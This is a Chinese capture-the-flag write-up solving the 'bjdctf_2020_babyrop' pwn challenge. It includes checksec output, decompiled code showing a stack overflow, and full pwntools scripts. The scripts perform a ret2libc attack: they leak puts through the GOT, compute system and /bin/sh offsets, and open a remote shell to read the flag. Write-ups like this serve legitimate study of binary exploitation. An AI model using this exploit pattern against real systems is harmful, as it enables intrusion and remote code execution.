【pwn做题记录】03.bjdctf_2020_babyrop 1
首先检查一下文件:
C:\Users\A\Downloads>checksec bjdctf_2020_babyrop
[*] 'C:\\Users\\A\\Downloads\\bjdctf_2020_babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
上面每一条的意思依次是:
- amd64位程序,小端序
- GOT表部分可读可写
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
由没有栈保护,栈不可执行,可能是还是栈溢出的题目。
用IDA打开文件,查看main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}
很明显这里没有漏洞,查看vuln函数:
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
buf距离rbp有0x20个字节,而read读取字符有0x64个字节,显然有栈溢出。
接下来查看有没有system,发现没有,查看/bin/sh,也没有。
因此这道题是一道libc的题目。
这里先简单运行一下程序,看有没有漏掉的:
┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./bjdctf_2020_babyrop
Can u return to libc ?
Try u best!
Pull up your sword and tell me u story!
hello
看样子在发送payload的时候,还需要接收前面几个信息。
然后就是这是一个64位程序,利用puts地址泄露的话和调用system的话,肯定要用到传参,所以用ROPgadget查找一下:
┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "./bjdctf_2020_babyrop" --only "pop|ret" | grep rdi
0x0000000000400733 : pop rdi ; ret
思路总结:
由于没有system,/bin/sh,但有栈溢出漏洞,puts函数,所以可以利用puts地址泄露,再得到system和/bin/sh,获取flag
攻击脚本:
#!/bin/sh
from pwn import *
elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400733
io = remote("node5.buuoj.cn",29556)
# 后面加上p64(main)是为了控制程序回到main函数,便于我们利用puts得到system函数后,进行栈溢出
payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b"story!\n")
io.sendline(payload)
puts = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
print(puts)
这里获取到的puts的地址为:0x7f5f0de02690
这里用https://libc.blukat.me/ 来获取libc
由于是这是一个amd64位的程序,所以随便找一个amd64的就行,这里选择libc6_2.23-0ubuntu10_amd64
输入puts和puts地址最后三位690即可查询:

右下角部分选中puts,即可看到puts和其他函数的偏移量。
#!/bin/sh
from pwn import *
elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400733
io = remote("node5.buuoj.cn",29556)
payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
print(io.recvuntil(b"story!\n"))
io.sendline(payload)
puts = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
print(puts)
puts = int(puts,16)
system = puts - 0x2a300
bin_sh = puts + 0x11d6c7
payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
print(io.recvuntil(b"story!\n"))
io.sendline(payload)
io.interactive()
接下来就可以拿到flag了:
[+] Opening connection to node5.buuoj.cn on port 29556: Done
b'Can u return to libc ?\nTry u best!\nPull up your sword and tell me u story!\n'
0x7ffa9b618690
b'Can u return to libc ?\nTry u best!\nPull up your sword and tell me u story!\n'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{f7a492d5-bb5f-4c13-9e31-022acfed82e3}
$
[*] Closed connection to node5.buuoj.cn port 29556

浙公网安备 33010602011771号